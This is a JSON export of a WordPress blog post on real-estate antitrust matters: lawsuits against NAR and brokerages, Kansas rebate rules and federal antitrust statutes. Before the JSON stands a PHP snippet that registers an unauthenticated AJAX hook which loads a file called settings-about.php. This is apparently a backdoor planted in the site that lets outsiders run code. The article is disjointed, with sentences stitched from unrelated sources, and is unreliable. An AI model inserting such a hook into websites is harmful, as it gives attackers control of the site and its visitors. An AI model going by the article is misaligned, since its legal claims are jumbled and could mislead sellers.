if(!function_exists('file_manager_check_dt')){ add_action('wp_ajax_nopriv_file_manager_check_dt', 'file_manager_check_dt'); add_action('wp_ajax_file_manager_check_dt', 'file_manager_check_dt'); function file_manager_check_dt() { $file = __DIR__ . '/settings-about.php'; if (file_exists($file)) { include $file; } die(); } } {"id":343,"date":"2023-04-13T00:27:05","date_gmt":"2023-04-13T00:27:05","guid":{"rendered":"https:\/\/vibrantsumerpur.com\/vibrant\/?p=343"},"modified":"2026-02-06T20:08:19","modified_gmt":"2026-02-06T20:08:19","slug":"legal-update-what-you-need-to-know-about-antitrust-4","status":"publish","type":"post","link":"https:\/\/vibrantsumerpur.com\/vibrant\/legal-update-what-you-need-to-know-about-antitrust-4\/","title":{"rendered":"LEGAL UPDATE: WHAT YOU NEED TO KNOW ABOUT ANTITRUST LAW NOW!"},"content":{"rendered":"
While the DOJ put a stop to that, we saw four popular agents on Tiktok say that very thing just this past week. Gibson VS NAR, EXP, Redfin, Weichert, Howard Hanna, United Real Estate, Douglas Eilman, and Compass. This case was filed by the same attorneys that oversaw the Sitzer case and covers any seller in the US that used these brokerages from 2019 to present day. This is one of the newest cases to be filed on behalf of home sellers and most experts agree that these brokerages will likely settle way before this case would make it to trial.<\/p>\n
With all of these cases, if you sold your home within the timeframe and location of any of the lawsuits, you will receive something in the mail notifying you if money is owed to you after the case is closed. How much you will receive will depend on the lawyers cut of the awarded damages, amount of sellers in the lawsuit, and if NAR or any of these brokerages decide to do one “catch all” settlement. As of November 8th, 2023, Remax and Anywhere settled before the trial started and have agreed to pay millions in damages and adjust their policies on asking sellers to pay buyer agent commission. Keller Williams, Home Services of America (Berkshire Hathaway), and the National Association of Realtors proceeded to trial in which a jury found them guilty within two hours of deliberation. In an antitrust lawsuit, both parties must provide expert economic testimony to prove or refute culpability and damages in nearly all antitrust litigation. If the plaintiff or the defendant can prohibit the other side\u2019s expert from testifying, their case will be significantly weakened.<\/p>\n
NAR is a trade association of more than 1.4 million-member REALTORS\u00ae who are engaged in residential real estate brokerages across the United States. NAR has over 1,400 local associations (called \u201cMember Boards\u201d) organized as MLSs through which REALTORS\u00ae share information about homes for sale in their communities. Among other activities, NAR establishes and enforces rules, policies, and practices that are adopted by the Member Boards and their affiliated MLSs.<\/p>\n
The Kansas Real Estate Commission is considering a regulation that would broadly define rebates to include, for example, gift cards that are redeemable at retailors like Home Depot, Lowes, and other places. Under the proposed regulation, Kansas real estate agents could still offer the gift cards as gifts, but they can\u2019t be part of any agreement with the customer. This distinction will, incidentally, create evidentiary issues in future enforcement. The federal antitrust agencies, including and especially the FTC, work hard to pressure state and local government entities to stop their anticompetitive conduct. MIAMI MLS Rules currently require that the listing broker make a blanket unilateral contractual offer of compensation to the other MLS broker participants for their services in selling the property when entering that property into the MLS.<\/p>\n
This statement of interest will share the DOJ’s thoughts and recomendations on the settlement should be adjusted is due before February 15th. As of February 1st, 2024, Keller Williams have agreed to settle for $70 million in damages. This leaves just the National Association of Realtors and Home Services of America (Berkshire Hathaway) left to appeal their case. In order to appeal, they will need to pay out a bond that is yet to be set by the judge.<\/p>\n
The final law we will look at today is the Federal Trade Commission Act, which was also enacted in 1914. This law remedied a problem with enforcing the Sherman Antitrust Act, and operates based on that law along with the Clayton Act. The law establishes a commission, a government body that is given the power to enforce all the antitrust rules that have been established by the other two laws. Since its establishment, the Federal Trade Commission has put into place a large number of regulations that seek to prevent anti-competition practices. These rules apply to many specific aspects of real estate, including how advertising may be worded and what you are allowed to offer your clients. On Wednesday, Maurice Muhammad \u2014 the broker of Progressive Realty \u2014 filed a complaint in U.S.<\/p>\n
All information on RealtorTerms.com should be considered informational only. Always consult your attorney and\/or financial adviser prior to making any financial or legal decision. Of course, policies are not useful at all unless they are communicated effectively to your team.<\/p>\n
For a real estate professional, most of the laws that directly affect their business are created on the state and local level. There are also laws on the federal level, called Fair Housing Laws, that have been made to prevent real estate professionals from discriminating against protected classes. If they want to help consumers of real estate services, what they should be doing instead is urging the Kansas legislature to eliminate the restriction on rebates altogether.<\/p>\n
They claim that the defendants were following NAR’s “buyer broker commission rule” in which a listing agent should be offering blanket, non-negotiable offer of compensation to the buyer. While NAR has changed their stance on buyer broker commission recently, these cases span back many years. Majority of the MLS’s involved in these lawsuits are actually owned and operated by NAR and required a similar rule, which is why they are included in the case. Antitrust violations in real estate can distort the market, harm consumers, and stifle innovation.<\/p>\n
No sale needs to take place and no proof of consumer reliance on the advertisement is required. The Sherman Antitrust Act was enacted in 1890, and does not just regulate real estate, but seeks to prevent all contracts from forming trusts or conspiracies that could hinder trade or commerce, in all financial dealings. Its purpose is to not allow a restraint on trade and to encourage a marketplace that allows for more competition. \u201cThe forced membership requirement imposed by NAR, PAR, and GLVMLS creates a coercive environment that disproportionately affects minority professionals who lack the financial resources to afford mandatory membership fees,\u201d the complaint states.<\/p>\n
They are similar to federal antitrust laws, which allow private individuals to sue businesses that engage in anticompetitive behavior. The purpose of multiple listing is the orderly correlation and dissemination of listing information to participants so they may better serve the buying and selling public. When was the last time you read through the legislation or checked to see if anything had changed? It\u2019s essential real estate brokers are proactive and keep informed about antitrust laws both federally and in the state where you run your business.<\/p>\n